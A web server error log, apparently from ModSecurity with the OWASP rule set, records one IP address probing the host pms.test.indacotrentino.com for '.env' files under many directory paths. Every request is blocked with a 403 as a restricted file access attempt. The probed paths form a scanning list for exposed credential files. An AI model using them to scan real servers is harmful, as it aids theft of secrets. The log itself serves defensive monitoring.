[Mon Jul 28 20:46:14.820362 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/niffler-frontend/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueSAAAAAk&quot;]
[Mon Jul 28 20:46:14.820535 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/niffler-frontend/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueSAAAAAk&quot;]
[Mon Jul 28 20:46:14.842926 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /node_modules/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueSQAAAAk&quot;]
[Mon Jul 28 20:46:14.843183 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueSQAAAAk&quot;]
[Mon Jul 28 20:46:14.843377 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueSQAAAAk&quot;]
[Mon Jul 28 20:46:14.865620 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nodejs-projects/play-ground/login/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/login/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueSgAAAAk&quot;]
[Mon Jul 28 20:46:14.865831 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/login/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueSgAAAAk&quot;]
[Mon Jul 28 20:46:14.865982 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/login/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueSgAAAAk&quot;]
[Mon Jul 28 20:46:14.891285 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nodejs-projects/play-ground/manageuserroles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/ManageUserRoles/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueSwAAAAk&quot;]
[Mon Jul 28 20:46:14.891506 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/ManageUserRoles/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueSwAAAAk&quot;]
[Mon Jul 28 20:46:14.891697 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/ManageUserRoles/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueSwAAAAk&quot;]
[Mon Jul 28 20:46:14.914006 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /novnc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/noVNC/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueTAAAAAk&quot;]
[Mon Jul 28 20:46:14.914231 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/noVNC/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueTAAAAAk&quot;]
[Mon Jul 28 20:46:14.914419 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/noVNC/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueTAAAAAk&quot;]
[Mon Jul 28 20:46:14.959796 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nuke.app.ui/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nuke.App.Ui/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueTgAAAAk&quot;]
[Mon Jul 28 20:46:14.959989 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nuke.App.Ui/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueTgAAAAk&quot;]
[Mon Jul 28 20:46:14.960127 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nuke.App.Ui/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueTgAAAAk&quot;]
[Mon Jul 28 20:46:14.982264 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nuxt/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nuxt/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueTwAAAAk&quot;]
[Mon Jul 28 20:46:14.982457 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nuxt/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueTwAAAAk&quot;]
[Mon Jul 28 20:46:14.982601 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nuxt/.env&quot;] [unique_id &quot;aIfFdl4f-9g1kJksHwueTwAAAAk&quot;]
[Mon Jul 28 20:46:15.097084 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /old/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueVAAAAAk&quot;]
[Mon Jul 28 20:46:15.097273 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueVAAAAAk&quot;]
[Mon Jul 28 20:46:15.097435 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueVAAAAAk&quot;]
[Mon Jul 28 20:46:15.165680 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /oldsanta/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/oldsanta/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueVwAAAAk&quot;]
[Mon Jul 28 20:46:15.165874 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/oldsanta/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueVwAAAAk&quot;]
[Mon Jul 28 20:46:15.166034 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/oldsanta/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueVwAAAAk&quot;]
[Mon Jul 28 20:46:15.188150 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /opencart/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opencart/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueWAAAAAk&quot;]
[Mon Jul 28 20:46:15.188434 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opencart/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueWAAAAAk&quot;]
[Mon Jul 28 20:46:15.188599 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opencart/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueWAAAAAk&quot;]
[Mon Jul 28 20:46:15.213193 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ops/vagrant/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ops/vagrant/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueWQAAAAk&quot;]
[Mon Jul 28 20:46:15.213394 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ops/vagrant/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueWQAAAAk&quot;]
[Mon Jul 28 20:46:15.213545 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ops/vagrant/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueWQAAAAk&quot;]
[Mon Jul 28 20:46:15.235684 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /option/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/option/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueWgAAAAk&quot;]
